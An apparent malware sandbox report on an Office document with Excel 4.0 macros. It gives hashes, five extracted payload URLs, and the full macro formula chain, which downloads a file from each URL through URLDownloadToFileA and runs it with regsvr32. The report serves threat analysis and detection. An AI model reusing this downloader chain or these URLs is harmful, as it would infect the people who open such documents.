General
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Target
2858a4a1fe1ccca6040cdef987d9147072283c9df77440a1e947ceec41781990
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Size
173KB
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MD5
c9bc91019a38583c56e0aadb30cfd197
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SHA1
42da7ca11ab3a26f5794540743235eb52c13d755
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SHA256
2858a4a1fe1ccca6040cdef987d9147072283c9df77440a1e947ceec41781990
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SHA512
6c7287a538ce42d0cb441b4b14526af1e37c274df692dbb2cda39537825e61d58891256f73a4e1a52f0897e4d189819dfc795f80f9db1e937537f769864797ca
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SSDEEP
3072:nUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:n+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU
Malware Config
Extracted
https://carretilha.net/whats/RSL50BlRP0a6hj/
https://shrinandrajoverseas.com/old/wQXty0wnVDY/
https://zionimoveis.com.br/wp-content/Bn00gaw/
https://kontacsgo.pl/m/uwZYNUjGeWW/
http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/
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formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()
Signatures
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Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
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2858a4a1fe1ccca6040cdef987d9147072283c9df77440a1e947ceec41781990